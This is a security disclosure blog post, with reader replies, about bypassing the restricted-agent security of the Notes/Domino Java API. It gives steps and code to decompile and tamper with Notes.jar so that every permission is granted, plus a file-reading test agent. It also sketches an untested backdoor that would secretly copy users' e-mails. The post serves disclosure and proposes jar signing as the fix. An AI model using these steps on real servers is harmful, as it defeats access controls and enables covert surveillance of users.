Is the security of the Notes/Domino Java implementation questionable? (security vulnerability in the Notes/Domino Java API)
DISCLAIMER The information below is provided as-is and I cannot be held liable for any damages, direct or indirect, caused by the information in this post or based on the below findings. The information here is offered in the interest of full disclosure. I have been working with IBM Lotus to diagnose and pinpoint the exact consequences of the below findings since May 2006.
Description
As you might know a central security measure in the Notes/Domino security infrastructure is the difference between restricted and unrestricted operations. Only users granted unrestricted access may perform sensitive operations such as disk I/O and manipulating the system clock. The implementation flaw I found in the Java API of Notes/Domino allows me to circumvent these restrictions and hence circumvent the security settings of the Domino server.
As such the guidelines given in this post could also be used to fully replace the Java API and perform additional operations without the knowledge of the owner of the Domino server or Notes client.
Prerequisites
- Disk access to the Domino server or Notes client or be able to write an agent or other piece of code that may accomplish the task for you.
Steps to reproduce
Below I describe the steps necessary to circumvent the SecurityManager and/or hide malicious code.
- Obtain a copy of the Notes.jar file from the Domino server and copy it to a local workstation.
- Unpack the archive using the jar-command.
- Decompile the code (I used the JODE version 1.1.2-pre2 decompiler from http://jode.sourceforge.net)
- Using Eclipse, or similar, edit the code in the constructor of the lotus.notes.AgentSecurityContext class as shown below:
public AgentSecurityContext(ThreadGroup threadgroup, boolean bool) { m_restricted = bool; m_file_read = true; m_file_write = true; m_net_access = true; m_class_loader = true; m_extern_exec = true; m_native_link = true; m_system_props = true; try { AgentSecurityManager agentsecuritymanager = (AgentSecurityManager) System .getSecurityManager(); if (agentsecuritymanager != null) agentsecuritymanager.newSecurityContext(this, threadgroup); } catch (ClassCastException classcastexception) { /* empty */ } } - Compile the class and replace the version from the unpacked Notes.jar
- Create a new Notes.jar with the manipulated code and replace the Notes.jar on the server. You might have to shutdown the server/client to be able to replace the file.
import lotus.domino.*;
import java.io.*;
public class JavaAgent extends AgentBase {
public void NotesMain() {
try {
Session session = getSession();
AgentContext agentContext = session.getAgentContext();
System.out.println("Starting to run agent...");
FileReader r = new FileReader("c:\\readme.txt");
StringBuffer buffer = new StringBuffer();
char[] data = new char[128];
r.read(data, 0, 127);
buffer.append(data);
System.out.println("File data: " + buffer.toString());
r.close();
} catch(Exception e) {
e.printStackTrace();
}
System.out.println("Done running agent...");
}
}
Consequences
One thing is being able to circumvent the restricted/unrestricted security measure of the Domino server. Another thing is that this can be done without the administrator or users knowing about it.
As mentioned above you might even be able to use the steps to replace some of the core classes (such as the class implementing the Document interface). By doing this you could have the manipulated class send you a copy of all e-mails generated using the Document.send() method or to add a specific user to all reader/author fields being written to documents.
This should be possible since all the Domino API types are interfaces and as such are open for re-implementation. It does however also mean that you have to manipulate the factory methods of the API.
I must stress that I haven't tried this myself - yet...
Suggestions
Issues like this could be avoided by digitally signing the Notes.jar file provided by IBM and have the Domino server and Notes client verify the signature of the jar-file before loading classes from it. Since a lock is placed on the jar-file by operating system once read (at least on Windows), the impact on performance should be minimal since the jar-file only needs to be checked once.
As an aside I can mention that some of the jar-files provided with the Domino server/Notes client are digitally signed by IBM already:
- ibmjcefips.jar
- ibmjceprovider.jar
- ibmpkcs11.jar
- ibmpkcs11impl.jar
Resources
Re: Is the security of the Notes/Domino Java implementation questionable? (security vulnerability in the Notes/Domino Java API)
Re: Is the security of the Notes/Domino Java implementation questionable? (security vulnerability in the Notes/Domino Java API)
I would agree that obfuscating would be an obvious thing to do, but primarily to make the jar-file smaller. I really do not like security by obscurity - I would rather that IBM signed the jar-file and allowed you to have the JVM verify jar-files loaded through the built in classloader. It should also be able to verify third party jar-files but notes.jar is by far the most important.
As to physical access the reason that I brought this to the attention of IBM is that it is an "attack" that's very difficult to see. Most customers I work with will never check the notes.jar file to see if it's the one supplied by IBM. A server task or extension (using the extension manager) you can see in the server console or in the notes.ini. A change to notes.jar would in almost every case go unnoticed.
Re: Is the security of the Notes/Domino Java implementation questionable? (security vulnerability in the Notes/Domino Java API)
Re: Is the security of the Notes/Domino Java implementation questionable? (security vulnerability in the Notes/Domino Java API)
Well I figured as much... :-)
IMHO the problem with developers not using SecurityManagers is only going to get bigger as more and more "traditional" software is written in Java as well.
Re: Is the security of the Notes/Domino Java implementation questionable? (security vulnerability in the Notes/Domino Java API)
Re: Is the security of the Notes/Domino Java implementation questionable? (security vulnerability in the Notes/Domino Java API)
Re: Is the security of the Notes/Domino Java implementation questionable? (security vulnerability in the Notes/Domino Java API)
I think you have to approach this subject from two perspectives. One is the way we can handle it when dealing with server-side software such as J2EE or PHP applications. The other side to the story is client software where you have much less control over how the software is executed. While I agree that is it more safe to not sign server side code than client side code but that doesn't mean that code signing doesn't have its place. I would really like all code to be signed as a general rule. Much like it is in Notes.
I think the real reason code signing is being ignored or why it isn't being used, is due to the cost of purchasing and maintaining code signing certificates.
You're right that code signing isn't taken serious in Sametime plugins either. I would really like a way to either not allow users to download new plugins or not download plugins signed by a specific certificate. Much like it is possible to lock down the Notes workstation using ECL at present.